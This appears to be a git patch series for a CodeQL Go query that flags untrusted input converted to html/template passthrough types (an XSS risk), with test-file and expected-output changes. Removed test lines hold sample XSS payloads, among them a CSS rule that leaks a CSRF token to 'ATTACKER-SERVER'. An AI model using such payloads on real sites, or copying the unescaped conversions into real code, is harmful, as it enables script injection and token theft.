-| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion |
-| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:75:16:75:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:76:38:76:43 | caught |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:74:16:74:30 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:75:38:75:43 | caught |
nodes
-| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | semmle.label | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | semmle.label | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | semmle.label | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | semmle.label | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c |
-| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | semmle.label | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d |
-| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | semmle.label | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e |
-| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | semmle.label | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b |
-| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | semmle.label | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f |
-| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | semmle.label | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g |
-| HTMLTemplateEscapingPassthrough.go:75:16:75:55 | call to source : string | semmle.label | call to source : string |
-| HTMLTemplateEscapingPassthrough.go:76:38:76:43 | caught | semmle.label | caught |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:74:16:74:30 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:75:38:75:43 | caught | semmle.label | caught |
#select
-| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | converted |
diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
index 3ae62c166ea..04f2dc97937 100755
--- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
+++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
@@ -2,13 +2,12 @@ package main
import (
"html/template"
+ "net/http"
"os"
)
func main() {}
-func source(s string) string {
- return s
-}
+
func checkError(err error) {
if err != nil {
panic(err)
@@ -18,7 +17,7 @@ func checkError(err error) {
type HTMLAlias = template.HTML
// bad is an example of a bad implementation
-func bad() {
+func bad(req *http.Request) {
tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`)
tmplTag, _ := template.New("test").Parse(`Hi \n`)
tmplScript, _ := template.New("test").Parse(``)
@@ -26,53 +25,53 @@ func bad() {
{
{
- var a = template.HTML(source(`link`))
+ var a = template.HTML(req.UserAgent())
checkError(tmpl.Execute(os.Stdout, a))
}
{
{
var a template.HTML
- a = template.HTML(source(`link`))
+ a = template.HTML(req.UserAgent())
checkError(tmpl.Execute(os.Stdout, a))
}
{
var a HTMLAlias
- a = HTMLAlias(source(`link`))
+ a = HTMLAlias(req.UserAgent())
checkError(tmpl.Execute(os.Stdout, a))
}
}
}
{
- var c = template.HTMLAttr(source(`href="https://example.com"`))
+ var c = template.HTMLAttr(req.UserAgent())
checkError(tmplTag.Execute(os.Stdout, c))
}
{
- var d = template.JS(source("alert({hello: 'world'})"))
+ var d = template.JS(req.UserAgent())
checkError(tmplScript.Execute(os.Stdout, d))
}
{
- var e = template.JSStr(source("setTimeout('alert()')"))
+ var e = template.JSStr(req.UserAgent())
checkError(tmplScript.Execute(os.Stdout, e))
}
{
- var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } "))
+ var b = template.CSS(req.UserAgent())
checkError(tmpl.Execute(os.Stdout, b))
}
{
- var f = template.Srcset(source(`evil.jpg 320w`))
+ var f = template.Srcset(req.UserAgent())
checkError(tmplSrcset.Execute(os.Stdout, f))
}
{
- var g = template.URL(source("javascript:alert(1)"))
+ var g = template.URL(req.UserAgent())
checkError(tmpl.Execute(os.Stdout, g))
}
}
// good is an example of a good implementation
-func good() {
+func good(req *http.Request) {
tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
{ // This will be escaped:
- var caught = source(`link`)
+ var caught = req.UserAgent()
checkError(tmpl.Execute(os.Stdout, caught))
}
}
From 687e556df6905244f66c8e27e70e2c2c64c1293d Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Fri, 5 Mar 2021 01:01:30 +0100
Subject: [PATCH 04/20] Fixes from code review
---
.../CWE-79/HTMLTemplateEscapingPassthrough.ql | 14 ++++++++------
1 file changed, 8 insertions(+), 6 deletions(-)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
index a48ddaf1507..a05220edcf7 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -14,6 +14,8 @@ import DataFlow::PathGraph
/**
* Holds if the provided src node flows into a conversion to a PassthroughType.
+ * The `targetType` parameter gets populated with the name of the PassthroughType,
+ * and `conversionSink` with the node where the conversion happens.
*/
predicate isConvertedToPassthroughType(
DataFlow::Node src, string targetType, DataFlow::PathNode conversionSink
@@ -26,11 +28,11 @@ predicate isConvertedToPassthroughType(
}
/**
- * Gets the names of the types that will not be escaped when passed to
+ * Provides the names of the types that will not be escaped when passed to
* a `html/template` template.
*/
-string getAPassthroughTypeName() {
- result = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"]
+class PassthroughTypeName extends string {
+ PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] }
}
/**
@@ -43,7 +45,7 @@ class ConversionFlowToPassthroughTypeConf extends TaintTracking::Configuration {
string dstTypeName;
ConversionFlowToPassthroughTypeConf() {
- dstTypeName = getAPassthroughTypeName() and
+ dstTypeName instanceof PassthroughTypeName and
this = "UnsafeConversion" + dstTypeName
}
@@ -55,7 +57,7 @@ class ConversionFlowToPassthroughTypeConf extends TaintTracking::Configuration {
exists(Type typ |
typ = sink.getResultType() and
typ.getUnderlyingType*().hasQualifiedName("html/template", name) and
- name = getAPassthroughTypeName()
+ name instanceof PassthroughTypeName
)
}
@@ -63,7 +65,7 @@ class ConversionFlowToPassthroughTypeConf extends TaintTracking::Configuration {
}
/**
- * Holds if the the sink is a data value argument of a template execution call.
+ * Holds if the sink is a data value argument of a template execution call.
*/
predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) {
exists(Method fn, string methodName |
From 963631dedf2567ca28c71f428993ef45c9495bdb Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Mon, 8 Mar 2021 15:52:10 +0100
Subject: [PATCH 05/20] Improve naming.
---
.../CWE-79/HTMLTemplateEscapingPassthrough.ql | 12 ++++++------
1 file changed, 6 insertions(+), 6 deletions(-)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
index a05220edcf7..ae9a936ddcc 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -91,11 +91,11 @@ class TemplateExecutionFlowConf extends TaintTracking::Configuration {
}
from
- TemplateExecutionFlowConf cfg, DataFlow::PathNode source, DataFlow::PathNode sink,
- string targetTypeName, DataFlow::PathNode conversionSink
+ TemplateExecutionFlowConf cfg, DataFlow::PathNode untrustedSource,
+ DataFlow::PathNode tplExecutionSink, string targetTypeName, DataFlow::PathNode conversionSink
where
- cfg.hasFlowPath(source, sink) and
- isConvertedToPassthroughType(source.getNode(), targetTypeName, conversionSink)
-select sink.getNode(), source, sink,
+ cfg.hasFlowPath(untrustedSource, tplExecutionSink) and
+ isConvertedToPassthroughType(untrustedSource.getNode(), targetTypeName, conversionSink)
+select tplExecutionSink.getNode(), untrustedSource, tplExecutionSink,
"Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName,
- source.getNode(), "untrusted source", conversionSink.getNode(), "converted"
+ untrustedSource.getNode(), "untrusted source", conversionSink.getNode(), "converted"
From 7e9f23ab8e1b1db0f934fec6375d68633938fb24 Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Mon, 8 Mar 2021 17:56:03 +0100
Subject: [PATCH 06/20] Refactor flow logic to ensure `untrusted` flows to
`conversion`, and `conversion` flows to `template-exec`.
---
.../CWE-79/HTMLTemplateEscapingPassthrough.ql | 96 +++++++--
.../HTMLTemplateEscapingPassthroughGood.go | 4 +-
.../HTMLTemplateEscapingPassthrough.expected | 192 +++++++++++++++++-
.../CWE-79/HTMLTemplateEscapingPassthrough.go | 14 +-
4 files changed, 286 insertions(+), 20 deletions(-)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
index ae9a936ddcc..a3ac8f42877 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -17,10 +17,10 @@ import DataFlow::PathGraph
* The `targetType` parameter gets populated with the name of the PassthroughType,
* and `conversionSink` with the node where the conversion happens.
*/
-predicate isConvertedToPassthroughType(
+predicate flowsFromUntrustedToConversion(
DataFlow::Node src, string targetType, DataFlow::PathNode conversionSink
) {
- exists(ConversionFlowToPassthroughTypeConf cfg, DataFlow::PathNode source |
+ exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::PathNode source |
cfg.hasFlowPath(source, conversionSink) and
source.getNode() = src and
targetType = cfg.getDstTypeName()
@@ -37,14 +37,14 @@ class PassthroughTypeName extends string {
/**
* A taint-tracking configuration for reasoning about when an UntrustedFlowSource
- * is converted into a special type which will not be escaped by the template generator;
+ * is converted into a special "passthrough" type which will not be escaped by the template generator;
* this allows the injection of arbitrary content (html, css, js) into the generated
